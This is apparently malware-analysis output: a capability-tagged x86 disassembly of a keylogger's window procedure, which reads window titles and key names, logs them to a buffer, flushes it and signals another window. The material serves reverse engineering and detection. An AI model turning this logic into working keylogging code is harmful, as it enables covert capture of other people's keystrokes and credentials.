Function at 0x40568d
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
enter 0x560, 0
push ebx
push esi
push edi
push 0x40aa24
push 0x405b27
call fcn.004081d8
mov eax, dword [ebp - 0x560]
and eax, 0
mov dword [ebp - 0x560], eax
mov eax, dword [ebp + 0xc]
sub eax, 0xbaba
jne 0x405868
cmp dword [ebp + 0x14], 0xd
jne 0x4056dc
cmp dword [ebp + 0x10], 0xd
jne 0x4056dc
mov eax, dword [0x40fd4d]
mov dword [ebp - 0x560], eax
jmp 0x405b0f
push 0x101
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x10]
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x128]
push eax
call fcn.00405440
test eax, eax
je 0x405863
push 0x11
lea eax, [ebp - 0x26]
push eax
push dword [ebp + 0x14]
call sub.user32.dll_GetKeyNameTextA
mov eax, dword [ebp + 0x10]
cmp eax, dword [0x40b56c]
je 0x4057a1
push 0x40b779
lea eax, [ebp - 0x12c]
push eax
push dword [0x40b779]
call fcn.00407c24
push 0x40a9ca
call fcn.00407c88
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a9d9
call fcn.00407c88
lea eax, [ebp - 0x234]
push eax
call fcn.00403177
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a9e5
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
mov eax, dword [ebp + 0x10]
mov dword [0x40b56c], eax
lea eax, [ebp - 0x26]
push eax
call fcn.004071a0
cmp eax, 1
jne 0x4057f4
push 0x40b779
lea eax, [ebp - 0x33c]
push eax
push dword [0x40b779]
call fcn.00407c24
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x26]
push eax
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x40584b
push 0x40b779
lea eax, [ebp - 0x340]
push eax
push dword [0x40b779]
call fcn.00407c24
push 0x40a9f0
call fcn.00407c88
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x26]
push eax
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a9fa
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
mov eax, dword [0x40b779]
test eax, eax
je 0x405857
mov eax, dword [eax - 4]
cmp eax, 0x3e8
jl 0x405863
call fcn.00402205
jmp 0x405af8
sub eax, 0xfffffff7
jne 0x405900
cmp byte [0x40b100], 0
je 0x40587f
jmp 0x405b0f
mov esi, dword [0x40b739]
test esi, esi
je 0x40588c
mov esi, dword [esi - 4]
dec esi
and edi, 0
jmp 0x4058f0
mov eax, edi
mov ecx, 4
cdq
idiv ecx
test edx, edx
je 0x4058a4
test edi, edi
jne 0x4058ef
lea eax, [ebp - 0x448]
push eax
push dword [0x40b739]
mov eax, edi
inc eax
push eax
push 4
call fcn.00407d1c
pop eax
push dword [eax]
call fcn.00405092
push dword [0x40b578]
push 0x141
push 0xdead
mov eax, dword [0x40b54c]
push dword [eax + 8]
mov eax, dword [0x40b54c]
push dword [eax + 4]
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
inc edi
cmp esi, edi
jge 0x405892
push 0
call sub.user32.dll_PostQuitMessage
jmp 0x405af8
sub eax, 0x23fc
jne 0x405abf
cmp byte [0x40b100], 0
jne 0x405919
jmp 0x405b0f
cmp dword [ebp + 0x10], 0x7b
jne 0x405941
push 0x40b735
push 0
call fcn.00407bec
push 1
push 1
push 0xbab1
push dword [ebp + 0x14]
call sub.user32.dll_SendMessageA
jmp 0x405abd
cmp dword [ebp + 0x10], 0x141
jne 0x405abd
lea eax, [ebp - 0x54c]
push eax
lea eax, [ebp - 0x44c]
push eax
push dword [ebp + 0x14]
call fcn.00405105
pop eax
push dword [eax]
push 0xff
call fcn.00407bbc
lea eax, [ebp - 9]
push eax
push 4
call fcn.00407988
push 0x40b735
lea eax, [ebp - 0x554]
push eax
push dword [0x40b735]
call fcn.00407c24
lea eax, [ebp - 0x550]
push eax
lea eax, [ebp - 9]
push eax
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
push 0x40aa04
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 9]
push eax
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407e20
test eax, eax
je 0x405abd
push 0x40aa0e
push dword [0x40b735]
call fcn.00407e20
test eax, eax
je 0x405a0b
push 0x40b735
push 0x40aa18
push dword [0x40b735]
call fcn.00407e20
push eax
push 1
call fcn.00407d6c
jmp 0x4059d8
push 0x40b735
lea eax, [ebp - 0x55c]
push eax
push dword [0x40b735]
call fcn.00407c24
push 0x40aa22
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
mov esi, dword [0x40b735]
test esi, esi
je 0x405a41
mov esi, dword [esi - 4]
push dword [0x40b726]
call fcn.004071a0
add esi, eax
add esi, 0x200
cmp esi, dword [0x40b58c]
jle 0x405a79
add dword [0x40b58c], 0x1e00
push 0
push dword [0x40b58c]
push dword [0x40b726]
call fcn.004072d7
push dword [0x40b726]
mov eax, dword [0x40b735]
push eax
call fcn.0040721d
cmp byte [0x40b101], 0
jne 0x405ab1
push 0x4051a6
push 0x15b3
push 0x29a
push dword [ebp + 8]
call sub.user32.dll_SetTimer
mov byte [0x40b101], 1
push 0x40b735
push 0
call fcn.00407bec
jmp 0x405af8
sub eax, 0xffffdc0e
jne 0x405ad5
mov eax, 4
mov dword [ebp - 0x560], eax
jmp 0x405b0f
sub eax, 0xffff4547
je 0x405aea
sub eax, 0x10
je 0x405aea
inc eax
inc eax
je 0x405aea
sub eax, 6
jne 0x405af8
call fcn.00402205
push 0
call sub.user32.dll_PostQuitMessage
jmp 0x405b0f
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.user32.dll_DefWindowProcA
mov dword [ebp - 0x560], eax
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x405b2e
push 0x40aa24
call fcn.0040822c
ret